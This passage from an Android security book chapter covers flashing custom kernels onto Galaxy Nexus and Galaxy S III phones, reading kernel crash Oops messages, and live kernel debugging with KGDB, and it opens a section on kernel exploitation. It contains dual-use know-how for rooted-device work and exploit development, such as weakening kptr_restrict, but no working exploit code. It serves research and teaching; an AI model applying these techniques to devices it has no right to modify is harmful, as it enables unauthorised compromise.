Chapter 10 ■ Hacking and Attacking the Kernel 333 c10.indd 11:11:6:AM 02/25/2014 Page 333 finished. total time: 0.006s dev:0:/android/src/kernel/omap/staging adb wait-for-device shell shellandroid:/ cat /proc/version Linux version 3.0.31-g9f818de-dirty jdrakedev gcc version 4.7 GCC ... After executing the fastboot flash boot command you reboot the device and shell in to conf rm that the modif ed kernel is running. Using OEM Flashing Tools The process for f ashing the boot partition of an OEM device varies from one device to the next. Unfortunately this is not always possible. For example some OEM devices have a locked boot loader that cannot be unlocked. Other devices might prevent f ashing an unsigned boot.img at all. This section explains how to f ash the custom-built kernel for the Samsung Galaxy S III. NOTE Using a rooted device it may be possible to work around signing issues with kexec. The kexec program boots a Linux kernel from an already-booted system. Detailed use of kexec is outside the scope of this chapter. Though the Sprint Samsung Galaxy S III cryptographically validates the boot. img it does not prevent you from f ashing or booting an unsigned copy. Rather it only increases an internal counter that tracks how many times a custom image was f ashed. This counter is displayed onscreen when the device is booted into download mode as you’ll see later in this section. Samsung uses this counter to track whether a device’s warranty was voided due to the use of unoff cial code. Knowing that f ashing an unsigned boot.img will not brick your device you are ready to actually put it on the device and boot it. NOTE Chainfi re who focuses on Samsung created a tool called TriangleAway that is able to reset the fl ash counter of most devices. This is only one of many of his tools including the venerable SuperSU. Chainfi re’s projects can be found at http:// chainfire.eu/ As with many OEM devices the Samsung Galaxy S III does not support fastboot. However it does support a comparable proprietary download mode. This example uses this mode along with the corresponding proprietary f ashing tool to write the newly created boot.img. The off cial tool for f ashing various parts of Samsung devices is the Odin util- ity. In fact Odin is reportedly the utility that Samsung employees use internally. The general process is much like that of a Nexus device. First put the device into download mode as shown here: dev:/sgs3-md4/boot cd ../staging dev:/sgs3-md4/staging adb reboot bootloader

slide 366:

334 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 334 The device is now ready to accept the image but there’s one problem: Odin doesn’t take a raw boot image as input. Instead as with the stock f rmware image it uses a format called .tar.md5. The specif c details of how this f le is generated are important for getting Odin to accept the boot.img. You must add the MD5 to the image which serves as an integrity-checking mechanism MD5 and allows packaging multiple partition images into one f le. You package the freshly built boot image including your custom kernel as so: dev:/sgs3-md4/staging tar -H ustar -c boot.img boot.tar dev:/sgs3-md4/staging cat boot.tar md5sum -t boot.tar boot.tar.md5 Now you have everything you need prepared but you still have one problem to deal with. Odin is only available for Windows it can’t be run on the Ubuntu development machine being used for this example. An open source program called Heimdall aims to solve this issue but it doesn’t work with the SPH-L710. Unfortunately you need to copy the boot.tar.md5 f le to a Windows machine and run Odin with Administrator privileges. When Odin appears check the check- box next to the PDA button and then click it. Navigate to where your boot.tar. md5 f le is on the f le system and open it. Boot the device into download mode by holding the Volume Down and Home buttons while pressing the power button or using the adb reboot bootloader command. After the warning appears press the Volume Up button to continue. The download mode screen appears showing some status including your “Custom Binary Download” count. After that plug the device into the Windows computer. At this point Odin looks like Figure 10-3. Figure 10-3: Odin ready to flash boot

slide 367:

Chapter 10 ■ Hacking and Attacking the Kernel 335 c10.indd 11:11:6:AM 02/25/2014 Page 335 Now click the Start button to f ash the boot partition. If the Auto Reboot option is selected the device reboots automatically after f ashing completes. Once the reboot completes you can safely reconnect the device to your development machine and conf rm success as shown: shellandroid:/ cat /proc/version Linux version 3.0.31 jdrakedev gcc version 4.6.x-google 20120106 ... Writing the Partition Directly Besides using fastboot or OEM f ash tools you can write the custom boot image directly to the boot partition. The main advantage to this approach is that you can use it without rebooting the device. For example Chainf re’s MobileOdin app uses this method to f ash parts of the device entirely without the use of another computer. Overall this approach is faster and easier because it requires fewer steps and mostly avoids the need for extra tools. However this approach has additional requirements and potential problem areas that you must consider. First of all this approach is only possible on a rooted device. Without root access you simply will not be able to write to the block device for the boot partition. Secondly you must consider whether there are any boot-level restrictions that would prevent this method from succeeding. If the boot loader prevents booting unsigned boot images you could end up bricking the device. Further you must accurately determine which block device to use. This is sometimes diff cult and has potentially dire consequences if you are incorrect. If you write to the wrong partition you might brick the device to the point of being unrecoverable. In the case of the two case study devices though the boot loader does not need to be unlocked and signature enforcement does not prevent this method. Though the Samsung Galaxy S III will detect a signature failure and increment the custom f ash counter it doesn’t prevent booting the unsigned boot image. The Galaxy Nexus simply doesn’t verify the signature at all. Exactly how you do this on each device varies as shown in the following excerpts.

slide 368:

336 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 336 On the Galaxy Nexus: dev:/android/src/kernel/omap/staging adb push new-boot.img /data/local/tmp 2316 KB/s 4526080 bytes in 1.907s dev:/android/src/kernel/omap/staging adb shell shellandroid:/data/local/tmp exec su rootandroid:/data/local/tmp dd ifboot.img \ of/dev/block/platform/omap/omap_hsmmc.0/by-name/boot 8800+0 records in 8800+0 records out 4505600 bytes transferred in 1.521 secs 2962261 bytes/sec rootandroid:/data/local/tmp exit dev:/android/src/kernel/omap/staging adb reboot dev:/android/src/kernel/omap/staging adb wait-for-device shell cat \ /proc/version Linux version 3.0.31-g9f818de-dirty jdrakedev gcc version 4.7 GCC ... On the Samsung Galaxy S III: NOTE When using this method it’s not necessary to append the MD5 to the boot image as is necessary when using Odin. dev:/sgs3-md4 adb push boot.img /data/local/tmp 2196 KB/s 5935360 bytes in 2.638s dev:/sgs3-md4 adb shell shellandroid:/data/local/tmp exec su rootandroid:/data/local/tmp dd ifboot.img \ of/dev/block/platform/msm_sdcc.1/by-name/boot 11592+1 records in 11592+1 records out 5935360 bytes transferred in 1.531 secs 3876786 bytes/sec rootandroid:/data/local/tmp exit dev:/sgs3-md4 adb reboot dev:/sgs3-md4 adb wait-for-device shell cat /proc/version Linux version 3.0.31 jdrakedev gcc version 4.6.x-google 20120106 ... In each case copy the image back to the device using ADB and then write it directly to the block for the boot partition device using dd. After the command completes reboot the device and shell in to conf rm that the custom kernel is being used. Debugging the Kernel Making sense of kernel bugs requires peering deep into the internals of the operating system. Triggering kernel bugs can result in a variety of undesired behaviors including panics hangs and memory corruption. In most cases trig- gering bugs leads to a kernel panic and thus a reboot. In order to understand the root cause issues debugging facilities are extremely useful. Luckily the Linux kernel used by Android contains a multitude of facilities designed and implemented just for this purpose. You can debug crashes after

slide 369:

Chapter 10 ■ Hacking and Attacking the Kernel 337 c10.indd 11:11:6:AM 02/25/2014 Page 337 they occur in several ways. Which methods are available depends on the par- ticular device you’re using for testing. When developing exploits tracing or live debugging helps a developer understand subtle complexities. This section covers these debugging facilities and provides detailed examples of using some of them. Obtaining Kernel Crash Reports A vast majority of Android devices simply reboot whenever an error occurs in kernel-space. This includes not only memory access errors but also kernel mode assertions BUG or other error conditions. This behavior is very disrup- tive when conducting security research. Fortunately there are several ways to deal with this and obtain useful crash information. Prior to rebooting the Linux kernel sends crash-related information to the kernel log. Accessing this log is typically accomplished by executing the dmesg command from a shell. In addition to the dmesg command it’s possible to con- tinuously monitor the kernel log using the kmsg entry in the proc f le system. The full path to this entry is /proc/kmsg. It might not be possible to access these facilities without root access. On most devices access to /proc/kmsg is limited to the root user or users in the system group. Older devices only allow access from the root user. Additionally the dmesg command can be restricted to the root user by using the dmesg_restrict parameter discussed in Chapter 12. In addition to the live kernel log Android offers another facility for obtaining crash information after the device successfully reboots. On devices that support this facility those with CONFIG_ANDROID_RAM_CONSOLE enabled the kernel log prior to the reboot is available from the last_kmsg entry in the proc f le system. The full path to this entry is /proc/last_kmsg. Unlike dmesg and /proc/kmsg accessing this entry usually does not require root access. This is advantageous when attempting to exploit a previously unknown kernel bug to gain initial root access to a device. You can f nd other relevant directories by inspecting an Android device. One such directory is the /data/dontpanic directory. The init.rc script on many devices contains commands to copy the contents of several proc f le system entries to such directories. The following excerpt from the init.rc of a Motorola Droid 3 running Verizon’s Android 2.3.4 build is an example: shellcdma_solana:/ grep -n copy.dontpanic /init /init.mapphone_cdma.rc:136: copy /proc/last_kmsg /data/dontpanic/last_kmsg /init.mapphone_cdma.rc:141: copy /data/dontpanic/apanic_console /data/logger/last_apanic_console ... /init.rc:127: copy /proc/apanic_console /data/dontpanic/apanic_console /init.rc:131: copy /proc/apanic_threads /data/dontpanic/apanic_threads

slide 370:

338 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 338 Here the last_kmsg apanic_console and apanic_threads proc entries are copied. The latter two entries do not exist on most Android devices so they offer no help when debugging. Besides /data/dontpanic another directory /data/ logger is also used. Inspecting the init.rc f les on a different device might reveal other directories. However this method is less likely to be fruitful than accessing /proc/kmsg and /proc/last_kmsg directly. The f nal method prevents the device from rebooting when the kernel encoun- ters an error. The Linux kernel contains a pair of runtime conf guration param- eters that control what happens when problems occur. First the /proc/sys/ kernel/panic entry controls how many seconds to wait before rebooting after a panic occurs. Android devices typically set this to 1 or 5 seconds. Setting it to zero as shown below prevents rebooting. WARNING Use caution when changing the default panic behavior. Although not rebooting may seem like the most attractive method continuing after errors occur in the kernel can lead to data loss or worse. shellandroid:/ cat /proc/sys/kernel/panic 5 shellandroid:/ su -c echo 0 /proc/sys/kernel/panic shellandroid:/ cat /proc/sys/kernel/panic 0 Another entry /proc/sys/kernel/panic_on_oops controls whether or not an Oops discussed in the next section triggers a panic at all. It is enabled by default but you can disable it easily as shown here: shellandroid:/ cat /proc/sys/kernel/panic_on_oops 1 shellandroid:/ su -c echo 0 /proc/sys/kernel/panic_on_oops shellandroid:/ cat /proc/sys/kernel/panic_on_oops 0 Using these methods it is possible to obtain kernel crash information. Now you must make sense of this information to understand what issue is occurring in kernel space. Understanding an Oops Kernel crash information is often referred to as an Oops. An Oops is nothing more than a brief crash dump. It contains information such as a general classif ca- tion register values data pointed to by the registers information about loaded modules and a stack trace. Each piece of information is provided only when it is available. For example if the stack pointer gets corrupted it is impossible

slide 371:

Chapter 10 ■ Hacking and Attacking the Kernel 339 c10.indd 11:11:6:AM 02/25/2014 Page 339 to construct a proper stack trace. The remainder of this section examines an Oops message from a Nexus 4 running Android 4.2.2. The full text of this Oops is included with this book’s extra materials at http://www.wiley.com/ go/androidhackershandbook. NOTE The kernel used for this section contains modifi cations from LG Electronics. As such some information might not appear in Oops messages from other devices. This particular Oops occurred when triggering CVE-2013-1763 which lies in the sock_diag_lock_handler function. More about this particular issue is covered in a case study in the “sock_diag” section later in this chapter. Rather than focus on that particular vulnerability here let’s focus on the understanding Oops message itself. The f rst line of the Oops indicates that an attempt was made to access memory that was not mapped. This line is generated from the __do_ker- nel_fault function in arch/arm/mm/fault.c. Unable to handle kernel paging request at virtual address 00360004 The kernel attempted to read from the user-space address 0x00360004. Because nothing was mapped at this address in the user-space process that triggered this issue a page fault occurred. The second and third lines deal with page table entries. These lines are gener- ated from the show_pte function also in arch/arm/mm/fault.c. pgd e9d08000 00360004 pgd00000000 The second line shows the location of the Page Global Directory PGD whereas the third line shows the value within the PGD for this address and the address itself. Here the pgd value 0x00000000 indicates that this address is not mapped. Page tables serve many purposes. Primarily they are used to translate virtual memory addresses into physical RAM addresses. They also track memory per- missions and swap status. On 32-bit systems page tables also manage system- wide use of physical memory beyond what the address space would normally allow. This allows a 32-bit system to utilize more than 4GB of RAM even when a single 32-bit process cannot address all of it. You can f nd more information about page tables and page fault handling in the book Understanding the Linux Kernel 3rd edition or inside the Documentation/vm directory in the Linux kernel source tree. Following the page table information the Oops message includes a line con- taining several useful pieces of information:

slide 372:

340 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 340 Internal error: Oops: 5 1 PREEMPT SMP ARM Despite being only a single line this line is packed with information. This line is emitted from the __die function in arch/arm/kernel/traps.c. The f rst part of the string Internal error is static text inside the kernel source. The next part Oops is passed in from the calling function. Other call sites use different strings to indicate what type of error occurred. The next part 5 indicates the number of times the __die function has executed though it is unclear why it shows 5 here. The remainder of the line shows various features that the kernel was compiled with. Here the kernel was compiled with preemptive multi-tasking PREEMPT symmetric multi-processing SMP and using the ARM execution mode. The next several lines are generated from the __show_regs function in arch/ arm/kernel/process.c. This information is some of the most important infor- mation in the Oops message. It is in these lines where you f nd out where the crash occurred in the code and what state the CPU was in when it happened. The following line begins with the number of the CPU on which the fault occurred. CPU: 0 Not tainted 3.4.0-perf-g7ce11cd ind1 After the CPU number the next f eld shows whether or not the kernel was tainted. Here the kernel is not tainted but if it were it would say Tainted here and would be followed by several characters that indicate exactly how the kernel was tainted. For example loading a module that violates the GPL causes the kernel to become tainted and is indicated by the G character. Finally the kernel version and build number is included. This information is especially useful when handling large amounts of Oops data. The next two lines show locations within the kernel’s code segment where things went wrong: PC is at sock_diag_rcv_msg+0x80/0xb4 LR is at sock_diag_rcv_msg+0x68/0xb4 These two lines show the symbolic values of the pc and lr CPU registers which correspond to the current code location and its calling function. The symbolic name is retrieved using the print_symbol function. If no symbol is available the literal register value will be displayed. With this value in hand one can easily locate the faulty code using IDA pro or an attached kernel debugger. The next f ve lines contain full register information: pc : c066ba8c lr : c066ba74 psr: 20000013 sp : ecf7dcd0 ip : 00000006 fp : ecf7debc r10: 00000012 r9 : 00000012 r8 : 00000000 r7 : ecf7dd04 r6 : c108bb4c r5 : ea9d6600 r4 : ee2bb600 r3 : 00360000 r2 : ecf7dcc8 r1 : ea9d6600 r0 : c0de8c1c These lines contain the literal values for each register. Such values can be very helpful when tracking code f ow backward from the crashing instruction

slide 373:

Chapter 10 ■ Hacking and Attacking the Kernel 341 c10.indd 11:11:6:AM 02/25/2014 Page 341 especially when combined with memory content information that appears later in the Oops message. The f nal line of the literal register value block shows various encoded f ags: Flags: nzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user The f ags are decoded into a human readable representation. The f rst group which is nzCv here corresponds to the Arithmetic Logic Unit ALU status f ags stored in the cpsr register. If a f ag is on it will be shown with a capital letter. Otherwise it will be shown in lowercase. In this Oops the carry f ag is set but the negative zero and overf ow f ags are unset. Following the ALU status f ags the line shows whether or not interrupts or fast interrupts are enabled. Next the Oops shows what mode the processor was in at the time of the crash. Because the crash occurred in kernel-space the value is SVC_32 here. The next two words indicate the instruction set architecture ISA in use at the time of the crash. Finally the line indicates whether the cur- rent segment is in kernel-space or user-space memory. Here it is in user-space. This is a red f ag because the kernel should never attempt to access unmapped memory in user-space. The next line which concludes the output generated by the __show_regs function contains information that is specif c to ARM processors. Control: 10c5787d Table: aa70806a DAC: 00000015 Here three f elds appear: Control Table and DAC. These correspond to the special privileged ARM registers c1 c2 and c3 respectively. The c1 register as its label suggests is the ARM processor’s control register. This register is used for conf guring several low-level settings like memory alignment cache interrupts and more. The c2 register is for the Translation Table Base Register TTBR0. This holds the address of the f rst level page table. Finally the c3 register is the Domain Access Control DAC register. It specif es the permission levels for up to 16 domains two bits each. Each domain can be set to provide access to user-space kernel-space or neither. The following section output by the show_extra_register_data function displays the contents of virtual memory where the general purpose registers point. If a register does not point at a mapped address it will be omitted or appear with asterisks instead of data. PC: 0xc066ba0c: ba0c e92d4070 e1a04000 e1d130b4 e1a05001 e3530012 3a000021 e3530013 9a000002 ... LR: 0xc066b9f4: b9f4 eb005564 e1a00004 e8bd4038 ea052f6a c0de8c08 c066ba0c e92d4070 e1a04000 ... SP: 0xecf7dc50: dc50 c0df1040 00000002 c222a440 00000000 00000000 c00f5d14 00000069 eb2c71a4 ...

slide 374:

342 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 342 More specif cally these blocks display 256 bytes of memory starting 128 bytes before the value of each register. The contents of memory where PC and LR point are particularly useful especially when combined with the decodecode script included with the Linux kernel source. This script is used in the case study in the “sock_diag” section later in this chapter. After the memory contents section the __die function displays more detail about the process that triggered the fault. Process sock_diag pid: 2273 stack limit 0xecf7c2f0 Stack: 0xecf7dcd0 to 0xecf7e000 dcc0: ea9d6600 ee2bb600 c066ba0c c0680fdc dce0: c0de8c08 ee2bb600 ea065000 c066b9f8 c066b9d8 ef166200 ee2bb600 c067fc40 dd00: ea065000 7fffffff 00000000 ee2bb600 ea065000 00000000 ecf7df7c ecf7dd78 ... The f rst line shows the name process ID and the top of the kernel stack for the thread. For certain processes this function also shows the live portion of kernel stack data ranging from sp to the bottom. After that a call stack is displayed as follows: c066ba8c sock_diag_rcv_msg+0x80/0xb4 from c0680fdc netlink_rcv_skb+0x50/0xac c0680fdc netlink_rcv_skb+0x50/0xac from c066b9f8 sock_diag_rcv+0x20/0x34 c066b9f8 sock_diag_rcv+0x20/0x34 from c067fc40 netlink_unicast+0x14c/0x1e8 c067fc40 netlink_unicast+0x14c/0x1e8 from c06803a4 netlink_sendmsg+0x278/0x310 c06803a4 netlink_sendmsg+0x278/0x310 from c064a20c sock_sendmsg+0xa4/0xc0 c064a20c sock_sendmsg+0xa4/0xc0 from c064a3f4 __sys_sendmsg+0x1cc/0x284 c064a3f4 __sys_sendmsg+0x1cc/0x284 from c064b548 sys_sendmsg+0x3c/0x60 c064b548 sys_sendmsg+0x3c/0x60 from c000d940 ret_fast_syscall+0x0/0x30 The call stack shows the exact path that led to the fault including symbolic function names. Further the lr values for each frame are displayed. From this it’s easy to spot subtle stack corruption. Next the dump_instr function is used to display the four user-space instruc- tions leading to the fault: Code: e5963008 e3530000 03e04001 0a000004 e5933004 Although the utility of displaying this data seems questionable it could be used to diagnose issues such as the Intel 0xf00f bug.

slide 375:

Chapter 10 ■ Hacking and Attacking the Kernel 343 c10.indd 11:11:6:AM 02/25/2014 Page 343 After returning from the __die function the die function resumes. The function calls oops_exit which displays a random value meant to uniquely identify the Oops. --- end trace 3162958b5078dabf --- Finally if the panic_on_oops f ag is set the kernel prints a f nal message and halts: Kernel panic - not syncing: Fatal exception The Linux kernel Oops provides a wealth of information pertaining to the activities of the kernel when an issue arises. This type of information is extremely helpful when tracking down the root cause. Live Debugging with KGDB On occasion debugging with only kernel crash logs is not enough. To deal with this problem the kernel includes several conf guration options and facilities for debugging in real time. Searching the .config f le for the string “DEBUG” reveals more than 80 debug-related options. Searching for the word “debug” in the Documentation directory shows more than 2300 occurrences. Looking closer these features do anything from increasing debug logging to enabling full interactive debugging. The most interactive debugging experience available is provided by KGDB. It isn’t necessarily always the best option though. For example setting breakpoints in frequently hit areas is often very slow. Custom instrumentation or facilities like Kprobes are better suited when debugging such situations. Nevertheless this section is about interactive debugging with KGDB. Before you get going you need to do some preparations on both the device and the development machine. Following that you can attach and see KGDB in action. Preparing the Device The Linux kernel supports KGDB over USB and console ports. These mechanisms are controlled by the kgdbdbgp and kgdboc kernel command-line parameters respectively. Unfortunately both options require special preparations. Using a USB port requires a special USB driver whereas using a console port requires access to a serial port on the device itself. Because information on accessing the serial port of the Galaxy Nexus is widely available using its console port for demonstration purposes is ideal. More information about creating the necessary cable is included in Chapter 13.

slide 376:

344 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 344 After the cable is made you build a custom boot image for the device. To get everything working you need to create both a custom kernel and RAM disk. Because the kernel will take a while to build start creating the custom ker- nel f rst. To get KGDB working you need to tweak two things in the kernel: the conf guration and the board serial initialization code. The conf guration parameters that need to be changed are summarized in Table 10-1. Table 10-1: Confi guration Parameters Needed to Enable KGDB FEATURE DESCRIPTION CONFIG_KGDBy Enable KGDB support in the kernel. CONFIG_OMAP_FIQ_ DEBUGGERn The Galaxy Nexus ships with the FIQ debugger enabled. Disable it to prevent confl icts with using the serial port for KGDB. CONFIG_CMDLINE... Set kgdboc to use the correct serial port and the baud rate. Set the boot console to use the serial port too. CONFIG_WATCHDOGn CONFIG_OMAP_ WATCHDOGn Prevent the watchdog from rebooting the device while debugging. Now the custom kernel needs a slight modif cation in order to use the serial port connected to your custom cable. This is only a one line change to the Open Multimedia Applications Platform OMAP board’s serial initialization code. A patch that implements this change kgdb-tuna-usb-serial.diff and a conf guration template matching the settings in Table 10-1 are included with this chapter’s downloadable material available at http://www.wiley.com/go/ androidhackershandbook To build the kernel follow the steps provided in the “Running Custom Kernel Code” section earlier in this chapter. Rather than use the tuna_defconfig template use the supplied tunakgdb_defconfig. The commands to do so are shown here: dev:/android/src/kernel/omap make tunakgdb_defconfig ... dev:/android/src/kernel/omap make -j 6 make modules ... While the kernel is building you can start building the custom RAM disk. You need to build a custom initrd.img in order to access the device via ADB. Remember the Micro USB port on the Galaxy Nexus is now being used as a serial port. That means ADB over USB is out of the question. Thankfully ADB supports listening on a TCP port through the use of the service.adb.tcp.port system property. The relevant commands follow.

slide 377:

Chapter 10 ■ Hacking and Attacking the Kernel 345 c10.indd 11:11:6:AM 02/25/2014 Page 345 WARNING The abootimg-pack-initrd command doesn’t produce Nexus- compatible initrd images. Instead use mkbootfs from the system/core/cpio directory in the AOSP repository. It is built as part of an AOSP image build. dev:/android/src/kernel/omap mkdir -p initrd cd _ dev:/android/src/kernel/omap/initrd abootimg -x \ /android/takju-jdq39/boot.img ... dev:/android/src/kernel/omap/initrd abootimg-unpack-initrd 1164 blocks dev:/android/src/kernel/omap/initrd patch -p0 maguro-tcpadb-initrc.diff patching file ramdisk/init.rc dev:/android/src/kernel/omap/initrd mkbootfs ramdisk/ | gzip \ tcpadb-initrd.img In these steps you extract the initrd.img from the stock boot.img. Then you unpack the initrd.img into the ramdisk directory using the abootimg-unpack- initrd command. Next apply a patch to the init.rc in order to enable ADB over TCP. This patch is included with this chapter’s materials. Finally repack the modif ed contents into tcpadb-initrd.img. The f nal steps depend on the kernel build completing. When it is done execute a few more familiar commands: dev:/android/src/kernel/omap/initrd mkbootimg --kernel \ ../arch/arm/boot/zImage --ramdisk tcpadb-initrd.img -o kgdb-boot.img dev:/android/src/kernel/omap/initrd adb reboot bootloader dev:/android/src/kernel/omap/initrd fastboot flash boot kgdb-boot.img dev:/android/src/kernel/omap/initrd fastboot reboot At this point the device will be booting up with your new kernel and will have ADB over TCP enabled. Make sure the device can connect to your develop- ment machine via Wi-Fi. Connect to the device using ADB over TCP as follows: dev:/android/src/kernel/omap adb connect 10.0.0.22 connected to 10.0.0.22:5555 dev:/android/src/kernel/omap adb -s 10.0.0.22:5555 shell shellandroid:/ On a f nal note this particular conf guration can be a bit f aky. As soon as the device’s screen dims or turns off two things happen: Wi-Fi performance severely degrades and the serial port is disabled. To make matters worse the built-in options for keeping the screen on won’t work. The normal settings menu allows extending the display timeout to ten minutes but that’s not enough. Then there’s the development setting “stay awake” that keeps the screen on as long as the battery is charging. However the device’s battery will not charge while you use the custom serial port cable. Luckily several Android apps in Google Play are specif cally designed to keep the device’s screen on indef nitely. Using one of these apps immediately after booting up makes a huge difference.

slide 378:

346 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 346 Preparing the Host There are only a few things left to do to get the host prepared for debugging the device’s kernel. Most of the steps are already complete by this point. When preparing the device you have already set up your build environment and cre- ated a kernel binary that contains full symbols. There’s really only one thing left before you connect the debugger. When you conf gured the kernel you set the kernel command line to use the serial port for two purposes. First you told the kernel that KGDB should use the serial port via the kgdboc parameter. Second you told the kernel that the serial port should be your console via the androidboot.console parameter. In order to separate these two streams of data use a program called agent-proxy which is available from the upstream Linux kernel’s Git repositories at git:// git.kernel.org/pub/scm/utils/kernel/kgdb/agent-proxy.git. The following excerpt shows the usage of agent-proxy: dev:/android/src/kernel/omap ./agent-proxy/agent-proxy 44404441 0 \ /dev/ttyUSB0115200 sleep 1 1 27970 Agent Proxy 1.96 Started with: 44404441 0 /dev/ttyUSB0115200 Agent Proxy running. pid: 28314 dev:/android/src/kernel/omap nc -t -d localhost 4440 sleep 1 2 28425 4364.177001 max17040 4-0036: online 1 vcell 3896250 soc 77 status 2 health 1 temp 310 charger status 0 ... Launch agent-proxy in the background while specifying that it should split KGDB and console communications to port 4440 and 4441 respectively. Give it the serial port and baud rate and off you go. When you connect to port 4440 with Netcat you see console output. Excellent Connecting the Debugger Now that everything is in place connecting the debugger is simple and straight- forward. The following GDB script automates most of the process: set remoteflow off set remotebaud 115200 target remote :4441 To get started execute the arm-eabi-gdb binary as follows: dev:/android/src/kernel/omap arm-eabi-gdb -q -x kgdb.gdb ./vmlinux Reading symbols from /home/dev/android/src/kernel/omap/vmlinux...done. ... In addition to telling GDB to execute the small script you also tell the GDB client to use the vmlinux binary as its executable f le. In doing so you’ve told

slide 379:

Chapter 10 ■ Hacking and Attacking the Kernel 347 c10.indd 11:11:6:AM 02/25/2014 Page 347 GDB where to f nd all the symbols for the kernel and thus where to f nd the corresponding source code. The GDB client sits waiting for something to happen. If you want to take control run the following command on the device as root. rootandroid:/ echo g /proc/sysrq-trigger At this point before the new line is even drawn the GDB client shows the following. Program received signal SIGTRAP Trace/breakpoint trap. kgdb_breakpoint at kernel/debug/debug_core.c:954 954 arch_kgdb_breakpoint gdb From here you can set breakpoints inspect the code modify kernel memory and more. You have achieved fully interactive source-level remote debugging of the device’s kernel Setting a Breakpoint in a Module As a f nal example of debugging the kernel this section explains how to set a breakpoint in the provided “Hello World” module. Dealing with kernel mod- ules in KGDB requires a bit of extra work. After loading the module look to see where it’s loaded: rootandroid:/data/local/tmp echo 1 /proc/sys/kernel/kptr_restrict rootandroid:/data/local/tmp lsmod ahh_helloworld_mod 657 0 - Live 0xbf010000 To see the address of the module f rst relax the kptr_restrict mitigation slightly. Then list the loaded modules with the lsmod command or by inspect- ing /proc/modules. Use the discovered address to tell GDB where to f nd this module: gdb add-symbol-file drivers/ahh_helloworld/ahh_helloworld_mod.ko 0xbf010000 add symbol table from file "drivers/ahh_helloworld/ahh_helloworld_mod.ko" at .text_addr 0xbf010000 y or n y gdb x/i 0xbf010000 0xbf010000 init_module: mov r12 sp gdb l init_module ... 12 int init_modulevoid 13 14 printkKERN_INFO "s: HELLO WORLD\n" __this_module.name ... gdb break cleanup_module Breakpoint 1 at 0xbf010034: file drivers/ahh_helloworld/ahh_helloworld_mod.c line 20. gdb cont

slide 380:

348 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 348 After GDB has loaded the symbols it knows about the source code of the module too. Creating breakpoints works as well. When the module is eventu- ally unloaded the breakpoint triggers: Breakpoint 1 0xbf010034 in cleanup_module at drivers/ahh_helloworld/ahh_helloworld_mod.c:20 20 No matter how one chooses to do so debugging the kernel is an absolute neces- sity when tracking down or exploiting complex vulnerabilities. Debugging post mortem or live using crash dumps or debugging interactively these methods help a researcher or developer achieve a deep understanding of the issues at play. Exploiting the Kernel Android 4.1 code named Jelly Bean marked an important point in the evolution of Android security. That release as discussed further in Chapter 12 f nally made user-space exploitation much more diff cult. Further the Android team invested heavily in bringing SELinux to the platform. Taking both of these facts into consideration attacking the Linux kernel itself becomes a clear choice. As far as exploitation targets go the Linux kernel is relatively soft. Though there are a few effective mitigations in place there is much left to be desired. Several wonderful resources on kernel exploitation have been published over the last decade. Among all of the presentation slide decks blog posts white papers and exploit code published one shines particularly brightly. That resource is the book A Guide to Kernel Exploitation: Attacking the Core by Enrico Perla and Massimiliano Oldani Syngress 2010. It covers a range of topics including kernels other than just Linux. However it doesn’t cover any ARM architecture topics. This section aims to shed light on exploiting the Linux kernel on Android devices by discussing typical kernel conf gurations and examining a few exploitation case studies. Typical Android Kernels Like many other aspects of the Android devices the Linux kernels used vary from device to device. The differences include the version of the kernel exact conf guration options device-specif c drivers and more. Despite their differences many things remain the same throughout. This section describes some of the differences and similarities between the Linux kernels used on Android devices. Versions The particular version of the kernel varies quite a bit but falls roughly into four groups: 2.6.x 3.0.x 3.1.x and 3.4.x. The groups that use these particular versions

slide 381:

Chapter 10 ■ Hacking and Attacking the Kernel 349 c10.indd 11:11:6:AM 02/25/2014 Page 349 can be thought of as generations with the f rst generation of devices using 2.6.x and the newest generation using 3.4.x. Android 4.0 Ice Cream Sandwich was the f rst to use a kernel from the 3.0.x series. Several early Jelly Bean devices like the 2012 Nexus 7 use a 3.1.x kernel. The Nexus 4 which was the f rst to use a 3.4.x kernel shipped with Android 4.2. As of this writing no mainstream Android devices use a kernel newer than 3.4.x despite the latest Linux kernel version being 3.12. Confi gurations Over the years the Android team made changes to the recommended conf gu- ration of an Android device. The Android developer documentation and CDD specify some of these settings. Further the Compatibility Test Suite CTS verif es that some kernel conf guration requirements are met. For example it checks two particular conf guration options CONFIG_IKCONFIG and CONFIG_MODULES for newer versions of Android. Presumably for security reasons both of these settings must be disabled. Disabling loadable module support makes gaining code executing in kernel-space more diff cult after root access has been obtained. The CTS check that verif es that the embedded kernel conf guration is disabled states “Compiling the conf g f le into the kernel leaks the kernel base address via CONFIG_PHYS_OFFSET.” Beyond these two settings additional require- ments that are described in Chapter 12 are also checked. A deeper examina- tion of kernel conf guration changes across a range of devices may reveal other interesting patterns. The Kernel Heap Perhaps one of the most relevant kernel conf guration details relates to kernel heap memory. The Linux kernel has a variety of memory allocation APIs with most of them boiling down to kmalloc. At compile time the build engineer must choose between one of three different underlying heap implementations: SLAB SLUB or SLOB. A majority of Android devices use the SLAB allocator: a few use the SLUB allocator. No Android devices are known to use the SLOB allocator though it’s diff cult to rule it out entirely. Unlike much of the rest of the kernel address space heap allocations have some entropy. The exact state of the kernel heap is inf uenced by many factors. For one all of the heap operations that have taken place between boot and when an exploit runs are largely unknown. Secondly attacking remotely or from an unprivileged position means that the attacker will have little control over ongo- ing operations that might be inf uencing the heap while the exploit is running. From a programmer’s point of view the details of a given heap implementa- tion arent very important. However from an exploit developer’s point of view the details make all of the difference between a reliable code execution exploit and a worthless crash. A Guide to Kernel Exploitation and the Phrack article that

slide 382:

